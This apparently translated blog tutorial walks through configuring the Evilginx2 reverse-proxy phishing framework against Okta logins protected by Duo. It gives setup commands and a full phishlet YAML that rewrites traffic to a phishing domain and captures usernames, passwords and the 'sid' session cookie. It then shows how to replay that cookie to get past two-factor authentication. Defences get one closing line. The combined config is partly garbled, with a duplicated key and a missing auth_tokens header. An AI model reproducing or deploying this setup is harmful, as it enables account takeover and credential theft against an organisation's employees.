SHOCK! New phishing software wins second factor

Hello!

There are times when you need someone to fill in. It happens when the target organization has a second factor configured for authentication - sms, Google authenticator, Duo. What to do in such cases? Hire Gopnik? Cut phone numbers from employees? Not! It turns out that sly hackers have written software that can help in this difficult situation.

Evilginx2 is a phishing framework that acts as a proxy between the victim and the site from which we want to get accounts. He used to use custom nginx, but now he is completely rewritten to Go, includes mini HTTP and DNS servers, which greatly simplifies installation and deployment.

How it works? The author of the software described in detail on his website, details on installation and configuration can be found on the project github page. Why is it possible to circumvent the second factor? The trick is that we do not interfere in the process of entering a code from sms / temporary password / push from DUO. We are quietly waiting for the user to successfully complete all authentication steps, catch his cookie, and already use it to log on. Along the way, just in case, we collect his login and password. In the same article I will talk about my experience and the pitfalls that I encountered.

Task

So, we need to fill the office, which is actively using Okta as a Single Sign-on. The second factor is Duo , a solution whose chip in the mobile client allows you to confirm the second factor through ordinary push notifications instead of entering 35-digit codes (hi Google Authenticator). Let's get started

Step one - register the phishing domain

In the panel of our provider, we indicate the address of the server where the phishing will be located. We also register a subdomain of the form okta.< >.com .

Step Two - Configure Evilginx

We start Evilginx and enter the necessary settings via the config command. We specify the main domain (not a subdomain) and its IP.

 config domain < >.com config ip 10.0.0.1 

As a result, the config looks like this:

The redirect_url parameter is interesting here - it indicates where to redirect the request when the client came to the root of our domain. Why is this done? If you give a phishing page from the root, the domain is very quickly calculated and will be added to the lists of dangerous sites, browsers will ominously curse, and users will never get to us. Therefore, we will give it to a unique link, and the root will redirect to the song Never Gonna Give You Up.

Step three - set up a phishing page

This is where the fun begins. Since, in fact, on our server we do not host any content at all, but only proxy requests, we need to “tell” Evilginx what kind of data we want to receive. This "story" we write in a special format. Documentation is available on the project’s wiki page. These descriptions are called phishlets. For some popular services - facebook, linkedin, amazon, they are already written and included in the distribution. We were less fortunate, out of the box Okta is not supported, but good people wrote a phishlet for the old version. We take a file and begin to solder.

Fill out the description, specify the name of the phishlet, the authors, and the required version of Evilginx.

 name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' 

Specify which domain we are going to make. In our case, we use the domain of the form < >.okta.com .

 proxy_hosts: - {phish_sub: '', orig_sub: '<   >', domain: 'okta.com', session: true, is_landing: true} 

The session parameter indicates that it is this domain that gives the cookies we need and the credentials are sent there, is_landing means that this host will be used to generate phishing URLs.

The next important step is to determine all requests to the target domain in order for the proxy to successfully rewrite them to the phishing domain. If this is not done, the user will not send data to us, but directly to the original domain, and we will not catch any accounting records. You need to rewrite only those requests that are directly involved in the process of the user logging into the site.

To clearly understand what exactly is required for successful authentication, you need to carefully examine this very process. Armed with a burp and test account, we begin to look for how the password is transmitted and for which cookies the application determines the authorized user. We are also looking for answers from the server, which have links to the original domain.

We find a request in which the login and password is transmitted. We see that it is sent to the original domain, but we need to leave us.

Here you can see how the original domain gives links inside javascript, they need to be rewritten.

After collecting this and a couple more requests, we get the following settings:

 sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} 

The keyword {hostname} is used to replace the original domain with a phishing one. More information about the syntax of this section is written here .

Remember, we need cookies, with which we will log in to the site. By trial and error we find out the name of the cookie - sid , and append it to the settings:

 auth_tokens: - domain: '< >.okta.com' keys: ['sid'] 

We also need the username and password of the user, we have already found a request in which they are transmitted. As you can see in the request, the required username and password are passed to json, appending:

 credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' 

So Evilginx can isolate them from requests and save them correctly.

Left a little. We specify the URL of the login page on the target domain.

 landing_path: - '/login/login.htm' 

We indicate the URL by which we understand that the user has been successfully authorized.

 auth_urls: - 'app/UserHome' 

That's all! Config entirely:

 name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '<   >'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '< >.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome' 

Save it as okta.yaml in /usr/share/evilginx/phishlets .

Step four - turn on our new phishing

Run evilginx and write the command.

 phishlets hostname okta okta.<  >.com 

Turn on phishlet.

 phishlets enable okta 

A certificate from LetsEncrypt is automatically created for it.

Check the settings:

We specify where we will redirect the user after successful authorization

 phishlets get-url okta https://< >.okta.com/ 

The application will display a link that should be sent to users of the form https://< >.com/login/login.htm?rb=9ffe&ec=< >

Step 4 - wait for the catch

We send letters (mailing technologies - material for a separate article) and wait.

A non-strong, gullible user follows the link and becomes authorized. We see it like this:

All caught uchetka develop in sessions. Select the desired one and copy cookies from it:

Open the browser, substitute cookies and voila - we are inside:

Afterword

Evilginx greatly simplifies the creation of phishing pages, especially for 2FA. Also, these pages are conveniently stored and shared with friends. Ways of protection - the use of U2F standard devices, the transition to new authentication methods .

What do you think about the described approach? How do you collect uchetki?